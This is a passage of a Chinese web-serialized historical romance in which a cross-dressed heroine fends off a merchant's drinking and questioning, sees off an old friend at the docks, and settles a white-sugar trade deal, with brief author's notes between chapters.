陈君砚此刻与那日筵席间的沉稳持重判若两人,竟是一副谈兴正浓、挥洒自如的模样。 又是半壶酒下去,孟清辞的脸色浮红,面对陈君砚的举杯,她回应的慢了几分。 陈君砚并不催促金韫年,他自顾自饮了一杯,含笑端详他片刻,方温声问道:“不知子闵家乡何处?我观子闵谈吐见识,绝非困于俗务的等闲之辈,胸中自有丘壑。大丈夫志在四方,何以会沦落到入赘这条路?你可是家中有什么难言之隐?若不介意,不妨与为兄说说,说不定为兄可为你谋划一番。” 孟清辞的酒量并不如何,今日又只有她和陈君砚两人,被他盯着,喝得又急,只觉得脑中阵阵发晕,心想:朱幼宜什么时候才来?她刚才就暗示了严江派个小厮回去报信,怎么过了这许久,还不见朱幼宜来救她? 又听陈君砚问起她的隐私,强压下脑中翻涌的晕眩,眼睫低垂,将五分醉意佯装十分情态,一手拄着桌面,支着额头,一手把玩手里的酒杯,任那澄澈酒液在杯壁间晃出潋滟波光。 只见孟清辞几分忧郁,几分低落,恰到好处的演给陈君砚,被酒水浸润过的嗓音,微微暗哑道:“小弟出身寒微之事,在这广州城里本就不是什么秘密。不过是仗着老天赏口饭吃,会些不值一提的微末伎俩。幸得我家夫人不弃,才有小弟今日。” 说着,孟清辞抬眼,扫一眼陈君砚,轻笑一声,洒脱道:“这天底下,又何来那么多的难言之隐?说起来,夫人于我恩同再造。若非她当年垂怜,小弟这般微末之人,还不知要烂在哪处泥淖里,又岂能有幸与七哥在此处,把酒言欢,称兄道弟?怕是给七哥提鞋也轮不到我。” 金韫年是周霁宸介绍的人,陈君砚自然是有心想要用他。今日不过是想要试探金韫年的深浅,不想这小子酒量如此不济。 暗自好笑,难怪方才在戏楼外,一听要吃酒便急着要唤红绡同往,原是自己酒量不济,早备好了退路。 看着他驾轻就熟的利用女子,还好不避讳的提及如何利用女子,反倒显出几分真小人的坦荡,虽说手段不算高明,却因这份不加掩饰的坦诚,倒叫人生不出什么恶感来,反觉得有几分可笑又可怜。 只见金韫年醉意朦胧,先前那些刻意的周全与客套统统褪去,竟显出几分意想不到的真性情来。那侃侃而谈时的眼波流转,那不经意瞥来的一眼,原本清澈的眸中似有万千情丝缠绕,像是全都缠在了陈君砚的心上,其间又似藏着说不尽的未尽之语,那一眼竟莫名地叫陈君砚心口猛地一跳。 再细看,金韫年已是又垂下眼眸,只那微低的下颚,于男子而言,似乎线条过于精致了些。那长长的眼睫像是煽动在了陈君砚的心尖,又是酥又是痒,叫他心焦难耐,还有那浮红的脸颊,陈君砚竟然品出一分魅色来,移不开眼。 陈君砚本是不想再喂金韫年喝酒的,却不由自主的又为金韫年满上一杯,音色透着意味难明的暗色:“一醉解千愁,再喝一杯。” 孟清辞望着酒杯里晃动的澄澈酒液,心中暗悔,刚才就不应该为了效果喝了那一杯,一杯又一杯,夫人何时来?—— 作者有话说:傅珩:为什么不提我想媳妇了? 孟清辞:能不安排酒局吗? 作者:昨天+今天,最近改成二合一更 解释一下:女主之前在侯府的清醒,一部分来源于穿越前白月光顾聿琛,被最亲近信任的人,还是救命恩人拒绝很多年,还发现了其中端倪,女主本来就有点封情绝爱的,穿越后傅晏桉还想叫她做妾,这个女主就更看不上,因为顾聿琛至少是身心洁,除了自私,对女主在精神和生活方面都是无微不至的。男二在现代基数是大拿,但是在古代他只有技术不够看。 至于我们封建大爹男主,他是强取豪夺的代表,但是他身心洁,只是他原罪是不正常,还受封建教育,所以肯定也是有瑕疵,但是他有可塑性。 重点:最近看好几个文下面,大家都在抨击男主,这我可以理解大家现在对这个男主的要求是很高的,一般看不上,但是我们这个是强取豪夺文啊,嘎嘎嘎。我们是以教育男主,让女主毒打他,让他认清社会,在他通过后,悔过后才能he,所以重点想想怎么操练他。 第54章 第 54 章 吃干抹净 陈君砚见金韫年凝眸望着杯中酒, 却迟迟不饮,不由得轻声问道:“贤弟,怎的不喝?” 那语气中暗示她‘快喝’的意思在明显不过, 孟清辞心知拖延不过, 暗自深吸一口气,咬咬牙, 把心一横,端起酒杯一饮而尽。 但孟清辞还是耍了个心眼, 故意让酒水自杯沿溢出,顺着下颌滑落,流过纤细白皙的脖颈, 最终没入中衣领口。 她心中暗想,如此摆烂,醉的明显, 陈君砚总不好还要灌她酒。 她醉眼迷离的将空杯往桌上一搁,酒杯被孟清辞凌乱的动作带倒,在桌上滚了半圈, 她却浑然不觉,只含糊低语:“七哥的酒真烈。” 她身子一软,便要伏案醉倒, 不想酒意上头, 一阵眩晕失了分寸, 手臂竟搭空了桌沿, 重心骤失, 她整个人向着桌面下栽倒下去。 “小心!”陈君砚眼见金韫年的额头便要磕在桌角上,也是猝不及防,赶忙眼疾手快的探身, 一手稳稳托住她下坠的手臂,一手则及时扣住她单薄的肩头,堪堪将人扶稳。 孟清辞整个人的重量,几乎都倚在了陈君砚的手中,陈君砚才发现金韫年竟然如此的轻,轻得不似一个男子,也软得不似一个男子。金韫年穿着得体,又一丝不苟,隔着衣衫,依旧能觉出肌骨纤匀。陈君砚指尖微烫,竟有些舍不得松手。 这一惊倒让孟清辞清醒了三分。她揉着额角,顺势从他掌中挣脱,拉开两人的距离。 “多谢七哥,小弟实在不能再饮了。”孟清辞声音微哑,趁机示弱,她晕乎乎的晃了晃身子,终究伏倒在桌上,枕着一只手臂,连眼也睁不开了。只余两片唇微微张着,呵出温热的酒气。 微张的唇,湿润润的闪着光泽,颊边红云浸染,如玉山将倾,玉面含春,一副春色半醉模样,又是一身青衫玉冠的俊俏模样,透出一种难以言说的风流姿态,直教人移不开眼。 看得陈君砚眸色深幽,不由舔了下略有些干涩的上唇,腹中似有一团暗火灼烧。陈君砚从未想过,男子也能美得叫他心生痴妄,叫他情难自禁、心猿意马。 幸好有桌案遮掩,才没让金韫年瞧见他此刻衣袍下的狼狈狰狞。 陈君砚终究不是耽于情欲的庸碌之辈。虽被撩得心神荡漾,他却还有些理智在,半靠回椅背上,嗓音略有几分暗哑道:“为兄也曾听闻,弟妹巾帼不让须眉,天丝棉便是弟妹的手笔。” 他略顿,话锋一转:“只是岑家在肇庆府几代深耕端砚,不知弟妹这织布的好手艺从何而来?我听说,弟妹不仅开了织布作坊,还开设了造纸作坊,今年又大肆收购了肇庆府周边的甘蔗,不知是又有何打算?” 言罢轻笑,半真半假地打趣:“若有发财的门路,可别忘了为兄。你既唤我一声七哥,我自然不能白占便宜,有哥哥我给你保驾护航,到时候定不叫你吃亏。” 酒意一阵阵上涌,让孟清辞脑子一胀一胀的突突跳,将陈君砚的话一字不漏的听进耳里,她闭着眼,眼睫微微颤了颤。 如今这时候,虽说肇庆府距离广州城近,却也是信息流通闭塞,他们在肇庆府制糖的事情都是低调行事,消息断不可能穿过来。 她昨夜才与陈君砚初见,这才一夜的功夫,陈君砚却是能将她打听的清清楚楚。 孟清辞暗忖:不愧是浙江知州的姻亲,借着傅珩的势力,果然耳目灵通,便宜的很。 从陈君砚的言辞间,也叫孟清辞知道,陈君砚绝非寻常商贾,他眼光毒辣敏锐,且眼界非凡,问的每个问题都切中要害,敏锐得教人心惊。 正当孟清辞想要着,要如何敷衍一番的时候,雅间的门忽被推开。 “哎呦,这是喝了多少?酒气都腌入味儿了!昨夜才醉过,这时候晌午才过,你怎么又来喝?要不是我恰巧路过,你怕是要醉倒在哪个温柔乡里都不自知!”朱幼宜嫌弃的蹙眉,不停的摆着团扇。 陈君砚初时一怔,微仰着下颌,懒散随意的靠坐着,似笑非笑,不着痕迹的打量着不请自来的女子,这位传闻中手段不凡、胆敢自招赘婿的奇女子。 孟清辞闻得此声,醉意瞬间被吓退了大半,几乎是条件反射般从座位上惊起。椅腿与地面摩擦出刺耳的“刺啦”声,她却恍若未闻,活像老鼠见了猫,对着朱幼宜便是一揖到底,语气里带着七分告饶、三分讨好:“夫人恕罪,夫人海涵!” 似是求救一般,侧身对陈君砚挤眉弄眼,脸上堆着笑,向陈君砚介绍:“七哥,这便是拙荆。”又转过身来,讨好的搀扶朱幼宜,为她引荐道:““这位便是我与你说过的陈家七爷,快,快唤一声七哥。 朱幼宜仿佛此时才看见屋里还有别人,眸光凝向陈君砚,惊讶的美目圆睁,团扇半遮檀口,随即眼眸弯弯,笑意盈眸,福了个全礼,脆生生道:“弟妹见过七哥。” 不待陈君砚开口,清凌凌好听的嗓音又道:“早便听闻七哥的大名,我一早便有心想要结识,哎。”说着朱幼宜还轻叹一声,似是遗憾,似是惋惜:“若是当初早一点有结识七哥,我那天丝棉哪里还有到处托关系,才能先给巡抚大人。” “不过如今认识七哥也不算晚。”说着朱幼宜又高兴的笑起来:“弟妹最近刚研制出一种洁白如雪的纸张,更坚韧更轻薄,吸墨又不易晕染,刚好可以借七哥之手进献给巡抚大人,好为巡抚大人尽绵薄之力。” 陈君砚淡笑道:“弟妹有礼了,既然是弟妹开口,为兄自然不推辞。” 孟清辞忽的掩唇打了个酒嗝,身体的重量都靠在了朱幼宜的身上。 朱幼宜赶忙扶住他,一面催促婢女珍珠:“你怎么还干站着,还不赶快扶着你们爷回去,一会儿失态了,岂不是叫人笑话。” “是,夫人。”珍珠应声,忙上前扶着孟清辞往外走。 孟清辞一面脚步虚浮,一面很无奈的和陈君砚道别:“七哥见笑了,小弟今日便回去了。”却是不敢再说改日再续的话,她的余光忌惮的撇过朱幼宜的背影,尴尬的对陈君砚歉意的一笑,便由着珍珠搀扶着离开了。 朱幼宜却是没急着走,而是继续道:“今日扰了七哥雅兴,改日弟妹做东,定让七哥尽兴。” 陈君砚微扬起唇角:“无碍。” “谢七哥体谅。”朱幼宜对陈君砚福了福身道:“他是个不中用的,改日弟妹,改日弟妹请七哥过府,定然好好陪七哥痛饮几杯。” 意思便是:我夫君不行,想喝,我陪你饮个够。言罢,朱幼宜便不再留恋的转身离去。 陈君砚悠悠道:“弟妹慢走。” 陈君砚站在雅间窗户边,见两夫妻上马车,岑夫人竟然拒绝了金韫年的小厮,亲自扶着金韫年上马车,那仔细又小心翼翼的爱重模样,半点儿叫人看不出那是他的赘婿。 陈君砚忽然觉得这两口子很有意思,似乎和他想的很是不太一样,也和传闻不太一样。 今日是巧遇吗?自己赘婿被灌酒心疼了?呵呵,真是越来越有意思了。 马车里,孟清辞歪在靠枕上,呼出的酒气连她自己都嫌弃的厉害,真是臭不可闻。 朱幼宜心疼的打湿了帕子,给她擦了擦额头,没好气的骂道:“真是不做人的玩意,竟然灌你酒,看你把你作践的,你可是难受了?” “五分醉罢。”孟清辞倾吐口气,懒散道:“这位陈七爷可是精明的很,和我套话来了,他背后代表的是傅珩,咱们待他还要客气几分,尊着敬着便是。” 朱幼宜冷笑一声:“管他是谁,这闽广浙的世族豪商,哪个又不是巡抚大人的人,你等着,下次,看我灌醉他,给你报今日这个仇。” 孟清辞看她气鼓鼓的模样,不由得失笑摇头,一时又觉得头晕的厉害。 朱幼宜赶忙叫孟清辞枕在自己的膝上,好不心疼的,轻轻帮她揉着额角,轻声道:“你这个酒量,但凡我今日没来得及,你醉了酒,就严江那个榆木脑袋,你在里面被吃干抹净了,他都不能知道。下次再遇见他,你便直接引去家中,我倒是看看他有多大的酒量。” 孟清辞轻笑一声:“夫人威武,千杯不醉,为夫佩服。” 严江被珍珠从车上挤下来,只能跟在车后面,严江一时有些摸不着头脑:今日他竟然叫夫人给嫌弃了,竟是连爷的一片一角都不叫他碰,看她活似什么脏的臭的,碰一下爷,爷便要脏了似得。 珍珠更是给了他好几个白眼,严江却不知道自己哪里得罪了她。 在戏楼和孟清辞分别后,顾聿琛失魂落魄地回到在广州临时赁下的两进宅院。刚踏进院门,小厮便来禀报,有两封他的信。 一封来自京中的顾老太傅。信中大半是训斥他“不务正业”、“不知进取”,又提及京城如今动荡不安,念及他与闽州巡抚傅珩有半师之谊,令他速去投奔,莫再虚度光阴。 无人知晓,他早已暗中搭上了傅珩。傅珩能如此迅猛地掌握火药技术,背后正是他在推波助澜。 顾聿琛那时候初至广州,偶然听得一则坊间传闻:傅珩的夫人于道观中意外殒命,当时一声巨响,殿宇倒塌失火,丹炉亦成碎片。 顾聿琛对自己专业向来敏感,立刻便有了猜想,毕竟想要炼丹渣炸炉,无非那么回事。 随后,他又听闻傅珩封禁了那座道观,一直在追查巨响缘由。彼时,他已经找到孟清辞,人也不再浑浑噩噩。结合当时朝中的微妙局势,顾聿琛很敏锐的捕捉到了一丝不寻常。 加之在广州的所见所闻,凭借后世的眼界,他看出傅珩已俨然一方霸主,牢牢掌控闽、广、浙三地。不仅地方世族豪强唯其马首是瞻,百姓间亦渐闻巡抚而不知皇帝。 这些年,傅珩不断在三地攫取巨额财富,若非为了豢养私兵,他是如何都不信的。 那时候京城已是波诡云谲,大皇子狼子野心昭然若揭,顾聿琛审时度势,凭借原身与傅珩的些许交情,决意将宝押在傅珩身上。 于是他修书傅珩,附上对方求之不得的火药配方。自此,他便算正式登上了傅珩的船。 而另一封,正是傅珩的亲笔信,催他前往闽州,言时机已到,邀他共谋大计。 顾聿琛将两封信并排置于书房桌案,独自枯坐整整一夜。直至天光彻底放亮,晨曦映上他下颌新生的青灰胡茬,他僵坐的身影才微微一震,仿佛活了过来。 他目光再次扫过那两封信,心中已有决断。 无论清辞如今如何看待他,在这方陌生的天地间,他们唯有彼此。没有人会比他更值得她托付信任,他必须成为她坚实的依靠。 然而,若仅凭顾家嫡长子的身份,他在族中实则“人微言轻”,顾太傅一言便可将他打发。 他需要真正的话语权,便必须建功立业,挣脱“顾家嫡长子”这个虚名,建立起超越家族的权势。而最快的捷径,便是他扶持傅珩,博得从龙之功。 到那时,清辞便不必再有任何顾虑,无须被世俗的规则所束缚,更不用看傅家以及任何人的脸色。他依然能如往昔一般照顾她、保护她。 终有一日,她会明白他的真心,会原谅他,会重新回道他的身边,他们也会如从前一样美好。 毕竟如今的他,已是一个健全的人,配得上她,他可以光明正大,堂堂正正的站在她的身边,能给予她更好的一切。 他们大可重新开始,弥补从前所有遗憾,以及他错误—— 作者有话说:[比心]多写了一点,到底更晚了,下次再也不说几点更了[化了] 第55章 第 55 章 徐徐图之【修错字】 广州府小海的码头上, 顾聿琛临行前,孟清辞前去送行,两人在码头上迎风而立。 顾聿琛身着一件墨绿色织八达晕暗纹圆领长衫, 海风掠过, 衣袂随风轻扬,衣衫上繁复的八达晕暗纹, 浮光锦流转着不动声色的矜贵之气。 金镶玉冠束发,金玉之色于墨发交织生辉, 衬得顾聿琛面容清俊出尘,温润如玉,恰似陌上君子。 细雨如丝, 绵绵不绝,他手执一并墨色油纸伞,修长的手指稳握竹制的伞骨, 腕骨清隽,愈发衬得他芝兰玉树。 顾聿琛不好痕迹的把伞面微倾,将孟清辞护在伞下, 任凭雨水顺着油伞边缘打湿他背脊的衣衫。 他的目光专注地落在孟清辞精致的脸上,那双眸子清澈如一泓秋水,眸底尽是温柔的涟漪。那目光里盛着的, 是他在这人世间所有的温存与眷恋, 似乎柔得能融化天边连绵的阴霾。 他神情自若的遮掩下心底的痴恋, 音色如春风拂过琴弦清越温雅:“谢谢你, 没想到, 你还愿意来送我。” 孟清辞抬眸,恰好撞上顾聿琛眼底漫开的笑意,他眸中笑意温润, 缓缓漾至眉梢,如春风拂过的静水。 时隔月余,他似乎又清瘦了不少,看他眼底有掩不住的疲惫之色。孟清辞终究是抵不过心软,轻叹一声,声线融在连绵的细雨中:“种种前尘,皆如云烟。你我之间,终究有二十年的情谊。今日你远行,我怎么能不来送你。现在见你能放下过往,自然是好的。” 顾聿琛听着她轻描淡写一字字割席的话,心脏如被细针密密扎过,泛起一阵无言的刺痛。他只能选择将这份痛楚小心翼翼的收敛起来,不敢叫她窥见一丝的痕迹。 他陪伴她长大,他太过了解她,她看似是个好脾气的,骨子里却倔强的很,她做了决定的事情,如何也要拧到底。若让她知道了,他打着徐徐图之的主意,只会叫她更躲着自己,将她推的更远。 顾聿琛展颜一笑,将手边一叠新制的绘本递过去,自然地转开话头:“岑大小姐的孩子,虽然不是你亲生的,我却知道你疼他若亲子。这东西,你应该不陌生。”他语带温煦,如谈论寻常旧事:“我想着,他如今两岁了,正是能用得上这些的年纪。” 孟清辞接过来,翻开一看,里面都是深入浅出的启蒙知识,有数学、化学还有物理的,都是小孩子能正能学的,很是全面。 孟清辞触及纸面上,那熟悉的字迹和内容,恍如重温了那些无忧无虑开怀的旧时光。那时候,她不善于这些,他总是不厌其烦,一遍遍耐心讲给她听。 她仰起脸来,诚心谢道:“谢谢你,聿琛哥,这东西一定费了你不少功夫吧?难怪你看着都瘦了。”话语间带上几分真切的自责:“早知如此,我该多带些补物来的,总该为你补回来才是。” 孟清辞丝毫不客气的,边说边将绘本仔细收进怀中,妥帖地护着,不让一丝雨气沾染。 顾聿琛见她果然面露欣喜之色,又珍重非常的模样,他便知道,这一步棋他走对了。 他要唤起她对自己早年的好感和依恋,他不能陪伴在她身边,便要想个法子,叫她时时刻刻能记起自己。 这绘本,只能是她亲自教孩子,他要她用这绘本,在教孩子的时候,重回他们从前在一起的每一寸光阴。她也说了,他们毕竟相伴了二十几年,情谊非比寻常。 他只是犯的一个错误,他总能够修正它,抹去它。 “里面夹了你想要的几种配方,我已经想出办法,找到替代的法子,和提取的方法,让你可以将东西做出来。”但顾聿琛也知道她的道谢如今浅薄的很,却纵容宠溺的不去戳穿她。 清辞从前,从来不会用自己的聪明去算计,她如今想利用自己的心思,赤|裸|裸的毫不掩饰的叫他心如刀割。 那些顾淮序的记忆里,她在安义侯府过的并不算好,他曾经骄傲明媚的小姑娘,竟为了生存,用她引以为傲的舞蹈给傅家大小姐做替。 虽然那些权贵子弟都配不上她,但她婢女的身份,让她无法匹配任何出色的男子。可这些,从前都是她唾手可得,又不屑一顾的。 即便清正如顾淮序,从未有过半分轻看她,却也怕害了她,不敢越雷池一步。 自从他穿越后,便深深体认到这世道的严酷,深知为奴为仆者,命若微尘,稍有不慎得罪主子便要受罚,乃至丧命。女子处境更是艰难,又听说安义侯府,原侯爷和世子,父子聚麀,尤为荒唐不堪。 他那时候找人打听过,她是如何从安义侯府离开的,又去了哪里,都只道到她是自赎出府,去了哪里无人知道。 要不是顾淮序记忆里,她的舞姿如此的熟悉,又有打听来的只言片语佐证。他险些以为,是自己太过想念她,以至于产生了幻觉,若不是有寻她的执念,他恐怕难以在这异世支撑不下去。 顾聿琛知道,一个奴婢绝不是简单自赎便能出府,尤其她还被傅晏桉觊觎。 她从前如此骄傲,是孟家的掌上明珠,又有鲜花掌声,走到哪里都是被人追捧的天之骄子。安义侯府里,这样卑贱的日子,他不知道她是怎么熬过来的,重逢后,他从不敢问她一句。 孟清辞垂眸,心口贴着的那本册子似是烫了她的心。 她很清楚,这时候工艺粗陋,想要做点东西出来,提取原料不易,顾聿琛为了她要的这些配方,一定没少熬心血。 饶是她如今冷心冷肺,心硬似铁,也不免被他的真心打动,让她这颗冷透的心,也不由自主地为之一颤。 孟清辞沉默半晌,终究无法迎上他那双情意深重的眼眸,只微微侧首,望向灰尘雾蒙的海面,声音轻得几乎散在海风里:“你此去,万事小心,一定保重身体。” 见她言语间仍难掩关切,顾聿琛心头一暖,他就知道,她一向心软,不会说不要他,便真的舍弃他,狠下心将他摒弃。 他绽开一抹真切开怀的笑意,如月破云层,温声宽慰:“你放心,傅珩与顾太傅有半师之谊,算顾淮序的半个师兄,两人是旧识,他只会重用我。” 说道傅珩,顾聿琛不免多问一句:“你为何想我去投奔他?怎么料定他的胜算大?” 孟清辞勉强不去想傅珩的恶劣,勉力持中,客观道:“我在广州府这些时日,亲眼见他于闽广两地民生多有建树,政令通达,上下信服。无论是平民百姓,还是地方世族,皆愿听其调度。此人不仅胸有丘壑、行事果决,更兼经世济民之能。” 她略顿一顿,却字字清晰:“如今时局瞬息万变,傅珩既已掌握火|药研制之先机,此时若另择他处,不仅前路未卜,更恐错失良机。何况各地世族盘根错节,未必能有容你施展的余地。两相权衡,不如选他。” 更深一层的思虑,她如今与岑家休戚与共,若傅珩未能在群雄逐鹿中胜出,依附于他的岑家必将面临倾覆之危。 待到那时,追随傅珩的岑家也不会有好下场,将被胜利者宰割分食,她也不能独善其身。不到万不得已,她不会抛弃现在的经营,远航遁走。 顾聿琛面色淡了几分,眸色中略过一丝心疼之色,口中却是调侃道:“你如今倒是大了,这口气很像你大哥,要他知道你也能对实时经济侃侃而谈,他的脸色,想必一定很精彩。” 孟清辞抿唇,想到从前,略过赧然之色,嘴硬道:“是你问的。” 顾聿琛眸光微动,看似随意地将视线掠过她低垂的侧脸,语气放得轻缓,似是不经意的问道:“上次你提及被人‘种香’,是什么意思?你身上可是有什么不舒服?” 提及此事,孟清辞后悔那日口不择言,对顾聿琛提了此事,只能尽力挽回道:“此事一时难以说清,这是岑家的秘方,幸遇岑大小姐,早已经帮我解了,你不必放在心上。”怕他不信,又装作若无其事,轻快的笑着强调:“我现在已经没事了。” 顾聿琛指节微紧,强自抑制,才不让孟清辞察觉他眼底的那抹痛色。她所受的每一分苦,都似在他心尖凌迟。叫他生不如死,恨不得替她承受。 且说孟清辞与顾聿琛两人,在码头上执伞话别,牛毛细雨如丝,极目远眺,海面与天际的尽头融为混沌的深灰暗色,像是能吞噬一切的巨口。 远处歇脚的酒楼里,窗牖半开,陈君砚负手立于窗前,遥遥望去,油纸伞下两人姿态审视亲昵。 从前见金韫年对着花魁戏子风流倜傥,游刃有余,此时一对比,倒显得身量略矮,身姿纤细羸弱,一副弱柳扶风之态。 陈君砚疑云满腹,目露迷茫,越发迷惑起来。若非见识过金韫年与他夫人举案齐眉,感情甚笃,瞧着码头上这两人形影相携,举手投足间的默契,他都要以为,金韫年与这位顾大人有着分桃断袖之情了。 孟清辞立在码头,直至顾聿琛的宝船化作孤帆远影,最终从视野里彻底消失,她才几不可闻地轻叹一声。 她心知肚明,她如今的功利之心很难掩藏,过于直白露骨,待顾聿琛如待宋泊简、宋闻璟兄弟别无二致,皆是利害重于情谊。 顾聿琛本就是聪敏、敏感之人,她变化之大,定是让顾聿琛难受了,可这是个弱肉强食,吃人的世道,他俩都要努力活下去,她虽然少了温情,却自认做了正确的选择。 正当孟清辞想要乘坐马车离开之时,暹罗的番商纳隆.提拉沙叫住了她—— 作者有话说:傅珩:外面野男人真多,着急上场 孟清辞:老实待着吧 第56章 第 56 章 声色犬马 “今日天气不好, 却是我的幸运日,看吧,来码头转一圈也能遇见子闵。”纳隆.提拉沙边走过来, 边朝着金韫年打招呼, 他语带关切的问道:“你看上去有些伤感,你还好吗?” 纳隆.提拉沙说着, 还拍了怕金韫年的肩头:“放心,我会祈求佛祖保佑你的, 兄弟。” 孟清辞被纳隆.提拉沙的诙谐逗笑了,她莞儿笑道:“那我就拖你的福了。”一遍不着痕迹的躲着纳隆.提拉沙那蒲扇一样的大手掌,开玩笑, 再拍,她肩膀怕是要肿上几日,这小子说地手底可没个轻重。 “不, 不,不,你们中国有句古话:‘做人不能贪得无厌’。”纳隆.提拉沙摇了摇头, 一脸正色:“你已经是个很有福气的人了,娇妻红颜,还有个大胖儿子, 你妻子不仅漂亮, 还很能干, 我看的出来, 令夫人很爱你。你可不能再贪心惦记我的福气, 我只是帮你和佛祖说两句,我还指望拖你的福做成这笔白糖的买卖。”他很是得意的又道:“而我的福运,会保佑我平安的往返暹罗, 真是不能给你一点,抱歉啦,兄弟。” 孟清辞忍俊不禁,对纳隆.提拉沙点头,打趣道:“你还真是精明的商人,难怪你们国王这几年将海贸这一块都拨给你管了。” 纳隆.提拉沙差异了一瞬,感慨一叹:“子闵,你真是那个什么‘火眼金睛’,我以为自己掩藏的很好,不料你早就看出来了,汉人要是都是你这样聪明,我们买卖起来太艰辛了。” “是你有威信,你们暹罗的番商,对你都毕恭毕敬,才叫我看出来了。”孟清辞也没说实话,她知道纳隆是暹罗皇家姓氏,纳隆.提拉沙即便不是主事人,也定然是身份贵重。 她不过趁着纳隆.提拉沙不防备,旁敲侧击,不料叫她猜中了,这不叫火眼金睛,这叫兵不厌诈。她心道:汉语对番人来说,确实太难了。 纳隆.提拉沙一言难尽,很快释然道:“兄弟,没有什么是一杯酒解决不了的,提拉沙请你喝一杯。” 两人各自打着伞,暹罗话和汉化混着,一路有说有笑,并肩进了酒楼。 纳隆·提拉沙到底没能按捺住激动的心绪,才踏上二楼,连雅间的门都未进,便压低声音急切问道:“子闵,你上次说的白糖,一年当真能匀给我们三百吨?” 纳隆·提拉沙的话音才落,隔壁雅间的门“吱呀”一声开了。 陈君砚脚步从容的从雅间里踱步而出,与他两人撞了个正着。他笑着打了声招呼:“提拉沙,好久不见了。” 这迎面而来的不期而遇,让纳隆.提拉沙眸中闪过一丝来不及掩饰的意外,他迅速收敛了心神,几乎是本能地换上他那副热络的笑脸,拱手道:“陈七爷,别来无恙!幸会,幸会!” 纳隆.提拉沙方才虽然压低了嗓音,他的话却还是一字不落的叫陈君砚听清楚了。 陈君砚因着家族渊源,算是自小便和番商打交道,多少都会些番语,他似笑非笑的眸子凝着孟清辞问道:“子闵,纳隆说的什么白糖?你哪里来的这个好买卖,竟然不想着为兄?” 陈君砚那副仿若被辜负的口气,让孟清辞甚是无语,若说这相遇纯属巧合,未免概率太低了,只眼下,叫陈君砚问到她脸上,她一时也无暇细想。 一时得意忘形,惹了篓子,纳隆.提拉沙垂眸掩饰懊恼与自责,他这是给金韫年惹了麻烦。却也心知肚明,此刻的自己根本没有说话的余地。 他与金韫年的交易本是私下进行,说直白点儿就是夹带私货的走私。而陈家和市舶司的关系密切,又有闽广巡抚做靠山。 陈君砚此此时出现,意图太过于明显,无非是想从中分一杯羹,而他一个外来的番商,却无力置喙。 “没想到七哥也在,相请不如偶遇,不如一同进来坐坐。”孟清辞含笑将二人请入雅间。 纳隆·提拉沙都能看透的关窍,孟清辞又岂会不明?陈君砚那明晃晃的目光,丝毫不掩藏他的算计。 她本也没指望能长久瞒着,毕竟,这码头之上,从来就没有真正的秘密。无非是民不举、官不究罢了。跑海上买卖的,谁家不夹带些私货,好填饱自己的腰包? 傅珩深知水至清则无鱼,他靠着豪商‘供养’,不好太过苛刻,只要不是很过分,想捞点油水,市舶司都会松松手。 此事说来也巧。约莫半月前,肇庆府那边来了消息,依照顾聿琛所给的配方与工序,朱幼宜的作坊成功制出了白糖。岑管事的儿子,亲自日夜赶路,把白糖的成品送过来。 如今坊间工艺尚只能制作黄糖,即便成色不够纯净,也已是供不应求、价格不菲。而暹罗正是昭德朝数一数二的黄糖采购商,每年从此地购入的黄糖,数以千吨计。 孟清辞与纳隆.提拉沙算是老交情,两人也不是第一次夹带私货,她便把白糖的样品拿给他看。 提拉沙一见那纯白如雪、晶莹剔透的糖粒,霎时瞪大双眼,几乎惊为天人,激动得恨不得俯身去跪舔她的脚指。 当下抓着她签订了契书,待到楔书落成,他还满脸不甘,只有三百吨的份额,实在是太少了,不甘心的一再叮嘱孟清辞,给别人的分割不能比他多。 今日两人在码头偶遇,纳隆·提拉沙心头最紧要的事,便是将这三百吨白糖的买卖再当面确认一番。若他能稳稳拿下这份白糖的货源,待将这三百吨白糖带回暹罗,他在家族乃至王室眼中的分量,必将水涨船高,地位更上一层。 陈君砚并没有逼迫太过,直至酒过三巡,方才闲闲地将话头引到了白糖上来:“子闵有好东西,竟不先让为兄开开眼界,实在令人伤心。说来惭愧,陈某长到这般年纪,只知道黄糖,还从不知道何为白糖?” 他语气端得一板一眼的正经,话里话外却是调侃。 孟清辞只能找补道:“小弟本是想寻个妥当时机与七哥细说的,只是一直不得空,倒叫七哥赶了先,七哥想看白糖还不容易,回头我便吩咐人,亲自送到您府上,请您品鉴。” 聪明人之间说话,向来不需点透。陈君砚此前便问过孟清辞,为何采购大批的甘蔗,想必一早就探听了一二,心中想必早有猜测,想来今日也特意来寻自己的。 陈君砚颔首,把玩着手里的酒杯,却意味不明的问了句:“不知道,这白糖是贤弟的手笔,还是弟妹的手笔。” 这话外人轻易是不会过问的,但陈君砚左一句贤弟,有一句为兄,他开口了,又有纳隆.提拉沙在场,孟清辞更不好驳他脸面,又见提拉沙也是一脸掩饰不住的好奇,她好笑的敷衍回道:“是小弟从一本残卷古籍中偶然得来,不想竟然叫我夫人手底下的工匠研制出来,实在是意料之外。” 孟清辞这话的意思便是告诉陈君砚:这东西和岑家不挨着,所以也不准备走岑家的路子,这是他和夫人另起的炉灶。 陈君砚了然的点点头:“那为兄便不和子闵客气了,以你我的情分,要你产量的七成的产量,应当不过分罢。” 见陈君砚目光灼灼不似玩笑,提拉沙不禁暗自咂舌,暗道:这陈七爷真是好大的底气和胃口,竟是开口便要了七成,想想他那可怜的三百吨份额,这四成真让他眼热的很。 孟清辞见陈君砚连价钱都不谈,直接一锤定音,要了这个数额,便知,此事他代表陈家,也代表傅珩,同意她与番商走私白糖,从中赚取一份利,但代价是,陈家要当她白糖的代理商,包揽了她白糖走私外的全部份额。 “这感情好,有七哥给小弟保驾护航,倒是省了弟弟许多麻烦。”孟清辞毫不犹豫的笑着应承下来,端起酒杯:“这一杯弟弟敬七哥,先干为敬。”说着她一仰脖,痛快的一饮而尽。 糖这东西,虽然比不上粮食和盐,却也是紧俏东西,她收购了大批的甘蔗,还制出了品质更好的白糖,陈君砚不是抢配方,只是想掺一脚,已经算是仁义君子了。 她便顺水推舟,上了陈家的这条船,也好过日后岑家宗族眼热他们夫妻手里的方子。到时候再巨大的利益和权势面前,便是朱幼宜的舅舅有心护着他们夫妻,怕也是有心无力,未必能护得住。 纳隆.提拉沙见两人轻描淡写,墙什么飞灰的,便将事情定了,有些吃惊。 提拉沙更是佩服金韫年的格局和魄力,他十来岁便随着商队往来暹罗和昭德朝,别说没见过金韫年这样能在各个番商间左右逢源的通事,更是没见过哪个通事做到金韫年这个位置。 “我就说今日是个好日子,来咱们一醉方休。”提拉沙高兴的端起酒杯,至少他拿到的是一手货源。 